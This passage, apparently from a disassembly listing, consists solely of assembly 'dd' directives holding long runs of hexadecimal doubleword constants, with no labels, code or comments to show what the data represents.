		dd 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h
		dd 7A9D5443h, 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh
		dd 95431518h, 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh
		dd 40FC8Dh, 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh
		dd 836C0014h, 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h
		dd 12723892h, 2B2C6B00h, 7DB68E8h, 0D55B3B00h, 6C0251ACh
		dd 0D4055810h, 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h
		dd 0E430EDD0h, 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h
		dd 50408ABBh, 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh,	0AA4F453Dh
		dd 1CB0DE92h, 801F645Fh, 8E00CB4h, 0DC1F16B8h, 26002C2Ah
		dd 69A6FAFCh, 68A0032h,	0EEF17D50h, 5A00EB99h, 20D803BCh
		dd 40C00Ch, 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h
		dd 16FA009Bh, 3640C611h, 0B1002266h, 63144D67h,	38BC5F68h
		dd 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah
		dd 43141D10h, 0ED5CE3Ah, 13FCBE0h, 0F0037D89h, 0CDAA0FB0h
		dd 42AB9085h, 4EC0128h,	17BF39EBh, 0E488E052h, 63844407h
		dd 0B2E0AAE0h, 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h
		dd 89E4F007h, 9050F6F8h, 0E6720A78h, 41020048h,	646D69A9h
		dd 0BD0033EEh, 0ADDCB368h, 22EA54h, 0FC44D815h,	7198A5D4h
		dd 0A18F000h, 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h
		dd 6F3D2900h, 9B177293h, 0FB5F0024h, 3B052BA3h,	730E0C58h
		dd 250181EFh, 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh
		dd 3858BF00h, 0E636A6h,	0FDBEBA70h, 69ABD42Fh, 78D80D00h
		dd 4F71CCE8h, 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh
		dd 0C6AB6BFBh, 21E82AE0h, 9D430712h, 90C2C788h,	18E7E4AAh
		dd 1C750500h, 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh
		dd 1405CC2Ch, 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h
		dd 0B9830B9h, 4F071EEAh, 0AEE83EFFh, 9E369CA0h,	0EC200E4Dh
		dd 5EE02384h, 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h
		dd 76DC00E8h, 8199101Ah, 0C01DFDF3h, 8B005B07h,	0D619917Fh
		dd 94090022h, 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh
		dd 68530081h, 0AD6F8A4h, 94287506h, 0CD00E954h,	0F210B329h
		dd 22CD5A7h, 34970D31h,	740F649h, 9B3CCEBCh, 20A28094h
		dd 0E17D41Eh, 388700C5h, 3B56422Eh, 0D60028C8h,	1BD29990h
		dd 9876572Dh, 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh
		dd 179382Ah, 0F469BD16h, 0E45E1739h, 8000BA0Bh,	5261C91Fh
		dd 0EA6FF72h, 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h
		dd 0C3FCE4h, 1653F2D4h,	2F7D044Ch, 8010973Eh, 30A47CBAh
		dd 1BD395Fh, 0F886B774h, 0EC66F7B2h, 24003E96h,	135EEC21h
		dd 16878Ah, 0FA23D52Fh,	36E8A952h, 58787D90h, 0F2549B00h
		dd 84A30277h, 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh
		dd 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch, 9D0065A1h,	429AC8Eh
		dd 6A13DAh, 0A662E756h,	0A4D7471Fh, 5FDF2Dh, 0A062C7Bh
		dd 15E8EDCBh, 0C6386084h, 0C6647DE0h, 912871Fh,	0B6EBCD07h
		dd 0FFCFFBF0h, 243C00F9h, 2E7FDA91h, 4D5CD293h,	3F070089h
		dd 0B88B08D5h, 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh
		dd 8458BB40h, 3768EB5h,	0FF6B8FE5h, 17A0C321h, 743AE247h
		dd 78A40009h, 405BC083h, 597AF3h, 558AC203h, 74B81820h
		dd 28754Ch, 641C9C08h, 15D8B97h, 0F851A87Ch, 0FC2494E7h
		dd 0E0175B46h, 0C0000179h, 0BA5C1347h, 32DD3A0Ah, 88730D83h
		dd 8A80ED33h, 8DFE2F44h, 340571Ch, 282D51Fh, 0E0FD8345h
		dd 0EEF05D1h, 0BD08778Bh, 68D5200Bh, 0D0978Eh, 0FD9E5E4Ch
		dd 0F977C4D9h, 96EC1600h, 0BE41FC55h, 0A0B01ACh, 0D883061Ah
		dd 0C087617Dh, 5200148Dh, 2D974489h, 0CB3D6Ch, 696A2188h
		dd 0F1FA1612h, 1F4AC800h, 3A7FF95Bh, 97150089h,	748F2E70h
		dd 3006860h, 0ED754DF0h, 4A9142h, 0FD2F1AF9h, 627D7E9Bh
		dd 420358h, 46204788h, 89B617h,	8551D687h, 18E00BA1h, 5425BA01h
		dd 0F3137565h, 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h
		dd 15FCF141h, 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h
		dd 0BD857642h, 0F642AA80h, 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh
		dd 0F67D3DF7h, 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h
		dd 0A5BA582Ch, 68500762h, 37D7E344h, 132250BBh,	890020FDh
		dd 31C8F09Fh, 7730E453h, 9117B28h, 5623F4B7h, 0B2622A8Fh
		dd 0D0E01EF8h, 4C76FCC8h, 1628C700h, 875F8902h,	5B791DA9h
		dd 0D28A40F4h, 3F71A108h, 0F120AC00h, 510C3730h, 89660013h
		dd 82F0EBC1h, 49980901h, 7F59E012h, 0B39DE003h,	3E90F8CFh
		dd 239A0318h, 2879AF8Bh, 104593C0h, 0D127E00Eh,	4203800Eh
		dd 33F7024h, 254FF066h,	138896D5h, 1C004522h, 270520A8h
		dd 0FF1455h, 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h
		dd 625D5C39h, 0EDCD600h, 0D0033C50h, 83C2EC3Bh,	9055FE78h
		dd 7C408825h, 0F2EE0044h, 10C36003h, 4100D5E8h,	7B78F6EAh
		dd 77FB0220h
		dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h
		dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h,	9E80E56h
		dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh,	3BD3A0D0h
		dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh,	122373D1h
		dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h
		dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h
		dd 4C78346h, 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h
		dd 5200791Ch, 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h
		dd 85D275h, 0D8FA18F2h,	5408B324h, 1E1718E1h, 40CBFEDBh
		dd 0EAE6E297h, 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h
		dd 0E108B8BBh, 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h
		dd 2BCD0379h, 10EB1ABBh, 6A0683F5h, 0D73529B0h,	5CA5E200h
		dd 14F47970h, 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh
		dd 0FA4AEBC7h, 1AC05Dh,	77C33BD9h, 0F23F9220h, 0ECF3CF00h
		dd 0F7901773h, 2BD3011Dh, 105D65D0h, 8BBD20B4h,	3A61EB4Ch
		dd 201E00C2h, 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h
		dd 0A000EEEh, 0B075C985h, 390561Eh, 0D8DBB5F3h,	0A788DECBh
		dd 8E12225Dh, 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h
		dd 48202CB8h, 0F0950200h, 0E6433C9h, 50A75C3Eh,	0D600394Ch
		dd 407E0CE9h, 114CFF02h, 80F0756h, 91F6482Eh, 3737566h
		dd 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh
		dd 56AB2C8Dh, 0B6E9434Ah, 23028301h, 80C3692Dh,	1932C280h
		dd 0BC2042C7h, 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h
		dd 0B006DC3Ah, 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h
		dd 0F048BA76h, 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h
		dd 0BBB3274Ah, 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h
		dd 143A7E39h, 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh
		dd 0BC6380BFh, 4F52740Fh, 1EA23907h, 8880103Dh,	16971Ah
		dd 0C27043B4h, 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch
		dd 0B3EA42D3h, 0A44CB421h, 0B12002Ch, 702EDD1h,	0E2B90083h
		dd 58694A6Ch, 0C5005F28h, 5D898F5Ch, 7CF9531Fh,	79A000A8h
		dd 168E4212h, 4000738Dh, 0E86D28EBh, 30E18h, 468A109Ch
		dd 6492074Fh, 0C7215400h, 896FD2FFh, 269000ACh,	2481F505h
		dd 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h, 5EFF0FC8h, 0A43E0ABh
		dd 47B00270h, 9005821h,	6AF8E2E9h, 1616851Fh, 1553C08h
		dd 0F2064369h, 0A5EEE012h, 0C9032707h, 0C00687Dh, 0B0F3EC80h
		dd 6750022h, 12F3AF8h, 0F0085D7h, 31222F4h, 5CC3FD3Bh
		dd 391C4A1Dh, 24CE4043h, 2DD8E83Dh, 3D12EA26h, 47AF4907h
		dd 0F1AE0260h, 0C8040054h, 22289121h, 3A00442Fh, 30488A58h
		dd 0EA1B8Bh, 3607A133h,	7D162CF1h, 7BEA03FAh, 0B215200h
		dd 88F0C464h, 5E4789Dh,	0B1CF71B8h, 8E49C097h, 20009DBh
		dd 8078BEFCh, 424412h, 0FE79B7E4h, 387450DAh, 1353126h
		dd 9992803Bh, 0C2D4717Eh, 24DD005Bh, 0EBAE3BA0h, 41002CC4h
		dd 823CB988h, 5C89CC29h, 63000A65h, 0F3E7B0FAh,	680035A4h
		dd 0A2AEB5DCh, 0D15ED4h, 8C38600Bh, 56C3E850h, 8600C1E8h
		dd 13B9E089h, 8B5B80h, 0FBC28110h, 0A104D614h, 3BDBDF38h
		dd 774900D2h, 0E035FFEEh, 40655C4Bh, 45A4AF00h,	0E989619Ah
		dd 5A046800h, 0AB505D28h, 87920758h, 872449A6h,	86B25134h
		dd 3C71F02Bh, 7B184D07h, 0C11078A4h, 1D1CCC66h,	143EF8h
		dd 4ED70889h, 83006C64h, 2F22098h, 112FC53h, 1C2693F4h
		dd 0F4E7AA85h, 73013B1Fh, 8819826Dh, 0C6C81413h, 0C8AB00F7h
		dd 584A4363h, 0B01F68EEh, 0CC808732h, 6238788Dh, 0E346074Bh
		dd 0CFAB1875h, 4E405861h, 69C9C8CBh, 3E6A5F00h,	2437C48h
		dd 18271E99h, 82007C55h, 6132A98h, 4000D7FFh, 8CC3FE11h
		dd 0AD0343h, 0F8A83D16h, 2105472Bh, 7EA65400h, 0E90DE790h
		dd 5CC4002Ch, 5219BCDAh, 4A00C0EFh, 3684CAFh, 24A4A0h
		dd 0C2E8D649h, 28B40743h, 0DD12B501h, 45B85061h, 0E9641E0h
		dd 8AC2379Ah, 0D305A6A1h, 7048FDCAh, 0F0324C3h,	4AC894F7h
		dd 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h, 0A9230814h, 1C0408Ah
		dd 0F076034Eh, 93382B00h, 0B513E67Dh, 1FCD7C82h, 9F3D81F8h
		dd 1C80FA2Ch, 7A6E883h,	24E279FAh, 32756600h, 4F84D74Eh
		dd 0FFD50097h, 0B4EA3CC4h, 45003417h, 52442168h, 313E065Bh
		dd 4A7854C1h, 0FD2CC3Ah, 0A69C8500h, 0DB9A52A7h, 0FCE200D9h
		dd 4BA14634h, 2600EB54h, 0C32BA24h, 0EECC0850h,	0F1B207DCh
		dd 9464594Fh, 60098010h, 23A8FCBh, 0A1F800A8h, 68672029h
		dd 4FC62C28h, 0A9AA01ECh, 0F089D7CCh, 0CF00440Ah, 0B7DC16CEh
		dd 8A0E34h, 9A5C217Bh, 74D017D3h, 8206A101h, 0C087E56Ch
		dd 0D8C7D8h, 52B1D1ECh,	0E9C34005h, 5300257Ch, 4B22ABC2h
		dd 17E7524h, 5A32894Eh,	0E8D0E419h, 297F27A3h, 6AB2F600h
		dd 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh, 0FA004B79h, 0DC4F34FDh
		dd 0FB577D5h, 1DC0CC57h, 41C26CEFh, 5FC04DC2h, 83009872h
		dd 62C6B0CAh, 3319AFh, 0E8C7042Ah, 0D40D5AB8h, 8074FF3Dh
		dd 5710DA60h, 0F883B903h, 68D00D8h, 8614FD95h, 3500BBD2h
		dd 311D892Bh, 2541B9h, 745106A3h, 4E525B03h, 0B293D200h
		dd 1A8F73E8h, 0D75313DDh, 699C00BFh, 0CD65C26Dh, 0F4853B00h
		dd 9149C48Dh, 30E860h, 739EB292h, 786E7DCBh, 0FAE87000h
		dd 9718B059h, 0F47B1EC1h, 83BD872Fh, 4840F18Dh,	0E4ED600Dh
		dd 0A35C1403h, 0B988A916h, 56309363h, 0D6970012h, 106A6132h
		dd 607C7DB9h, 86901C00h, 89B2EC5h, 0DF81014Ah, 89A1919Eh
		dd 0CC7AE0D3h, 220A5360h, 11C3E7h, 31642F0h, 41EC1215h
		dd 0C76A2300h, 0B4DA468Ch, 17C00019h, 744A423Ah, 800A80Bh
		dd 3E4C754Bh, 3D9B73h, 5D4E8CADh, 0C519EC6Eh, 24145A00h
		dd 0A694C125h, 83E002h,	0DC97FC6Dh, 51702CC3h, 69AF000h
		dd 0DE813EF4h, 1DE90002h, 29508E25h, 6F00754Fh,	94526796h
		dd 3809BD69h, 0A400EA2Fh, 0D87C0782h, 8039E9C4h, 74B0097Dh
		dd 4D560021h, 92DB91h, 32EC8F8h, 1150C329h, 5F67440Fh
		dd 5D012005h, 3DD5C7h, 260DDAE6h, 824998F5h, 8774A01h
		dd 0D4637550h, 0C8D01871h, 1906002Bh, 0E7BCEAC6h, 55006F4Bh
		dd 53705B86h, 51F06Bh, 0ABC85E75h, 0D8E5A9B8h, 8500D177h
		dd 4CF2DCEAh, 897458h, 0FC66EBD4h, 5D719052h, 85AC8000h
		dd 6A2EC922h, 4BEE1C55h, 101E7ED5h, 2BAEC051h, 3C0FDF0h
		dd 689F300h, 4C418CAFh,	42670075h, 3399CB1Fh, 0C438C2EFh
		dd 3114804Ah, 5E044669h, 4E581E6Ch, 907D8025h, 0B4FE2F0Bh
		dd 1A45DA00h, 4293C9CDh, 56290098h, 7C58C399h, 2E00905Ah
		dd 7B05F569h, 0E4246EBh, 27754D6Fh, 0D5B00017h,	0A14A858Dh
		dd 17EBF801h, 9A92FEB3h, 77A3D9D8h, 0AB4B0367h,	94327866h
		dd 0EED5C490h, 0E8194200h, 0C9C7933Ch, 75480FCEh, 0F8E0C6ACh
		dd 94D12E7Dh, 2DE18100h, 0AC13B27h, 0CA033D02h,	89080700h
		dd 1E907519h, 0C2D37D00h, 20449DBEh, 95C11D05h,	8BD0CEA3h
		dd 6109C380h, 0CC00C481h, 0F7F0167Fh, 3AA9D40Ch, 0DCA5D006h
		dd 0E41480D7h, 392EE091h, 0E6802466h, 0DFB94B39h, 1F005B82h
		dd 45C63842h, 0C4F964h,	83028485h, 60D78A89h, 0FE508200h
		dd 3C70228Bh, 0E754009Dh
		dd 0F0EACE64h, 530075DBh, 0CC88FF17h, 7E38E9E2h, 5E070C5Ah
		dd 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh, 0B0F00Ch
		dd 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h, 168BDFh
		dd 50176655h, 19458940h, 0B70FF200h, 33310308h,	0E94300CCh
		dd 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h, 0A03F0095h
		dd 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h,	755E0D45h
		dd 0A9076241h, 2AD8A2B9h, 64178ED0h, 1F20047h, 4EEC8238h
		dd 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh, 0EDA5FA29h
		dd 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h,	0A00074F6h
		dd 530DE1FFh, 6731579Ch, 50F248D9h, 45B398Eh, 1CF4E83Bh
		dd 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h,	7D00E91Eh
		dd 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h, 0FC0101EAh
		dd 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h, 20E70E32h
		dd 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h, 13BE0E62h
		dd 0B0D47100h, 8C9D4792h, 3CA4070Ch, 5090A303h,	83D5ECBDh
		dd 0AC68501h, 52C77853h, 0F854ECh, 50908603h, 4D07E924h
		dd 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah,	30413201h
		dd 0A8FEA973h, 42BAB800h, 15730ADCh, 0C93D0045h, 0DA4B5A1Ch
		dd 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h, 0EE39FEC7h
		dd 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h, 75393Eh
		dd 0AA51F527h, 4F42EDh,	0E31224A6h, 0F687477Ch,	10939504h
		dd 7C8014BFh, 740A25Ah,	0E802F49Dh, 0F5687791h,	0F856C0DBh
		dd 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h, 5C261CC0h
		dd 405D217Eh, 183CDC18h, 10352350h, 5F00C212h, 0A18FC32h
		dd 60C48554h, 0D031C4D4h, 873C7E1Bh, 4DAF8190h,	0EE41058h
		dd 121760E4h, 0BD90ABCh, 0B68F0882h, 3740EBA0h,	523FD655h
		dd 344380A5h, 0FC570DDBh, 867F00A8h, 104512B5h,	0CC03FA91h
		dd 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h,	0A48A3E19h
		dd 13399Fh, 0B2EBFB54h,	9CB8C26Ch, 81D40938h, 2978064Fh
		dd 58619E11h, 0F3AFC8h,	0F7DC2074h, 4CFDE002h, 54112300h
		dd 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h, 74A47F72h
		dd 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch,	500002F2h
		dd 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h, 0A83A1029h
		dd 0A27D3Bh, 631277Eh, 3C432Bh,	530C63A1h, 5D93CA24h, 0E01F1FE4h
		dd 0FE3BF8h, 0B2830F28h, 308D8Bh, 0E81E4053h, 6B3C1219h
		dd 1876B3F6h, 4F07F400h, 8A05C283h, 5F3203F5h, 0FFFA9629h
		dd 8625DFB0h, 6A0033FAh, 0F1450B0h, 189F87h, 6F22832Dh
		dd 5940EFF7h, 0BC895407h, 0FAB04975h, 0D1C680h,	83740567h
		dd 724FBA68h, 0F021D605h, 0F780753Bh, 488063h, 74182D7Bh
		dd 0C69F3F3Ch, 8A424B00h, 0D241652Ah, 478100EFh, 17C5625h
		dd 6800625Bh, 12F03918h, 1DBDDA1Ch, 0C07FC9A0h,	564767B6h
		dd 6A4CFE15h, 340015Bh,	9EC75281h, 772F9CCCh, 0BE053E86h
		dd 44CA5900h, 8475F8A7h, 0FC1C400Bh, 0DF3A0953h, 142B080h
		dd 743CC23Bh, 226C000Ah, 0F4CF286Eh, 4DE9009Fh,	254013A9h
		dd 743AE448h, 0F74A829Dh, 60553899h, 0EB75949h,	611DE1ABh
		dd 51889A38h, 790B6603h, 0C88FC743h, 714A610h, 3758E1A5h
		dd 0E4069159h, 8EBD4092h, 4D786599h, 0EA058DECh, 0B8E0A02Fh
		dd 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h, 21E6AD71h, 0CB9A60CBh
		dd 0DBC04D00h, 7C2FBADCh, 63760022h, 5D50EA53h,	691FC973h
		dd 5B1FFC96h, 97B89880h, 1F86D71h, 679D18C2h, 0E0E22D24h
		dd 7C7F1CD7h, 0ADD45C04h, 4980CDD8h, 74F45969h,	0A5270379h
		dd 8867DD25h, 12D865ABh, 5513B2ECh, 20B8D0E5h, 1797EA00h
		dd 0F8A53D23h, 15286728h, 0CCB3DF01h, 484666C4h, 2F55DCh
		dd 99C76806h, 0AB6E1597h, 54B34B33h, 89DDD8CBh,	0A36800CFh
		dd 0DA90E805h, 0B001E2Dh, 71D3A009h, 78F25274h,	12FEB4h
		dd 0E15AE659h, 708EC6Bh, 0C71C6300h, 0BF0244F6h, 0C57284h
		dd 0E28CB895h, 573FC9E4h, 13B07E00h, 1541FF4Dh,	7B3C0040h
		dd 273B9591h, 7800CB69h, 7EFDDA92h, 90C916h, 0D302D088h
		dd 49F3D69Dh, 18000574h, 955B1C36h, 24588496h, 28FFF01h
		dd 4E1E2B2Eh, 0C1574740h, 2894200h, 598CF986h, 3FFCFAh
		dd 78C89F0Ah, 9A4D1025h, 0FD45140h, 53B05297h, 4009EB60h
		dd 3500DE2Ah, 8CEEF992h, 1F5888FDh, 43A63C24h, 2149B11h
		dd 0D15298D0h, 8034F03Bh, 0B948A2FFh, 0FFC097Bh, 0E946DADCh
		dd 4D000D3h, 0D840FD2h,	39EE0200h, 28ECC336h, 768390F6h
		dd 0A350008Fh, 1466D4E2h, 3A00D845h, 0DB138D16h, 39A53EBh
		dd 0BBD3FBACh, 7BE0B603h, 3C00E340h, 0AB866711h, 0E27D049h
		dd 0CF467107h, 801DE800h, 4D7F0326h, 59C11700h,	62478CD5h
		dd 3CD91DB6h, 58CE45D2h, 6F2A8066h, 103BBF86h, 233EAC45h
		dd 4B074703h, 0B4C7E825h, 8230014h, 0A9A1F9CFh,	70F50212h
		dd 2B2C1CBAh, 881D3706h, 1BAC2040h, 0E3D01h, 265A366Bh
		dd 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h, 453055Dh, 0E1D79C4Ch
		dd 333E818h, 0A4140800h, 0C415BB86h, 582BF01Dh,	5003835Dh
		dd 78AD0364h, 0DEB014EBh, 0F1071EA8h, 1832825Eh, 0C04B050h
		dd 4C9F05D3h, 80DE7E75h, 83E9D5BEh, 3A1D7B77h, 308F03C9h
		dd 9D14020h, 14266Ah, 48A0AC52h, 2C82B718h, 663DFB98h
		dd 8A98009Dh, 0C321C954h, 2B8E2699h, 71780158h,	0C4453561h
		dd 0AD001238h, 14EB7F33h, 0B2C4396h, 2F847D18h,	90DDC980h
		dd 324C826h, 3F17E3FBh,	0A1575A00h, 50CFFD2h, 83CD3B24h
		dd 87D30023h, 0F210D455h, 127D600h, 0B018C0F1h,	24C4070Eh
		dd 302814BDh, 40CB439h,	0B376871Dh, 0C884B900h,	17E902h
		dd 0A2DD47E8h, 7E82F0BCh, 0B143A300h, 0F37D08E2h, 0FA3D0364h
		dd 1EF2FF4Fh, 387FEDF8h, 81430400h, 0BFB31853h,	0BA0250A7h
		dd 1EE2003Ch, 93843042h, 0D05C20F4h, 40DE0052h,	2C34E4A1h
		dd 0BD8500F8h, 5938C843h, 7A000BFCh, 0C9535F84h, 2E8822h
		dd 0B8C10104h, 4E603F10h, 3437BF1Fh, 0C7E50A03h, 6575C8FCh
		dd 537D00FFh, 28521BC1h, 90011D45h, 74F685A5h, 55200F5Fh
		dd 8B391ED1h, 0E5803AEEh, 0FDC44BAFh, 0F202A6FBh, 3E642C25h
		dd 0E018425Ch, 68548Ch,	96F809A4h, 75FF9240h, 18492201h
		dd 8E9BF12Fh, 4320C121h, 0C6B055h, 0F4C5E987h, 422B610Ah
		dd 0E8408200h, 9A57A34Dh, 517D0332h, 0D444C960h, 0F77E88B0h
		dd 3F509600h, 225BA38h,	0A786007Bh, 6C8331C1h, 0F000CD71h
		dd 3624EB62h, 53FE04h, 0F7E88AFBh, 4B1E433Ah, 0A078756Fh
		dd 8CE2FF03h, 11D507FBh, 0E0DE9421h, 7EF0E599h,	84233200h
		dd 31D016A9h, 96544C9Eh, 4A210075h, 20622464h, 97EA433Ch
		dd 18850400h, 0B2557329h, 486A02F3h, 2BF0F449h,	35C5CBE0h
		dd 90A93700h, 93075DD3h, 2AE10010h, 5FEB5530h, 0BD008018h
		dd 2FD73B3Eh, 0E30D72h,	730E1F3Dh, 2ACAC106h, 81FEBECh
		dd 87C3F83Ah, 0E8E6E375h, 5E9F8Eh, 0DC102DC0h, 0F61CE881h
		dd 16442200h, 0BC88EFC3h, 7B92004Fh, 84FE2D2Ah,	0E60F5053h
		dd 0C04BAC4Dh, 29A1E0E8h, 89853F42h, 9CF58C81h,	0ECA83EF4h
		dd 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh, 0EE4692Ch, 5427D2A5h
		dd 89051360h, 12006BA4h, 3C9FFB5Bh, 1107053h, 88E22A11h
		dd 0D9182134h
		dd 4C0DD851h, 87493800h, 50A28C91h, 907515h, 8041FAD2h
		dd 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh, 5A4D3881h
		dd 78832400h, 7400E03Ch, 82801E4Bh, 768F303h, 5615FC99h
		dd 8108A023h, 4500503Eh, 27414C6h, 38F6B572h, 3CF069FCh
		dd 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch, 5F1F0240h
		dd 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h,	7839F602h
		dd 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h, 91005FD8h
		dd 525AB774h, 0D5002367h, 8E037F86h, 5C16EB3Ch,	0DA00CB77h
		dd 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h,	0E490E58Bh
		dd 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h, 0D08FABBCh
		dd 0AA406982h, 900F4916h, 770A120h, 6B77880Ah, 0C689AC90h
		dd 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh, 19E98800h
		dd 0B6F28AF1h, 66182708h, 784BA077h, 89351209h,	440E0C34h
		dd 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h, 57AD089h
		dd 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh, 2ECBE1F3h
		dd 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h, 33135CEAh
		dd 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh,	50895294h
		dd 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h,	42F05F2Eh
		dd 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h, 79A55401h
		dd 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h, 9857701Ah
		dd 78402E4Ch, 6040729h,	0F44AF0A3h, 0BF00FE41h,	1D17BD82h
		dd 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h, 1B770019h
		dd 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh,	86EFD81Dh
		dd 54971100h, 3C3969Bh,	8A0A9BCh, 0D1D848EBh, 2A383988h
		dd 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h, 18583BBDh
		dd 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h, 8394E22Dh
		dd 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h, 0B871E645h
		dd 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh,	893055FEh
		dd 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h, 0CD9E567Ch
		dd 6A513800h, 9A9C73h, 95880813h, 977CB85Ah, 0C5BBF400h
		dd 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh, 802C3F8Ah
		dd 5E077562h, 0F8CA28h,	48EFE842h, 0A0E0FF96h, 65E4C800h
		dd 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h, 6972000h
		dd 1A2643C6h, 4EB0001h,	7893DD0Dh, 540022CCh, 2C085011h
		dd 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h, 0F34E8DD6h
		dd 0DE8CADh, 258B5967h,	0CBEFB91h, 5021C607h, 28F0B256h
		dd 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh, 751C5081h
		dd 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h, 1EBB92D4h
		dd 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h, 0C4003121h
		dd 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h, 5802EA81h
		dd 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h, 8A9360E0h
		dd 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh, 0A4504824h
		dd 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh,	0C0762CB4h
		dd 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h,	0EA484097h
		dd 0CE223746h, 750058F4h, 196577EEh, 514B011h, 3B398285h
		dd 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h,	0CA020061h
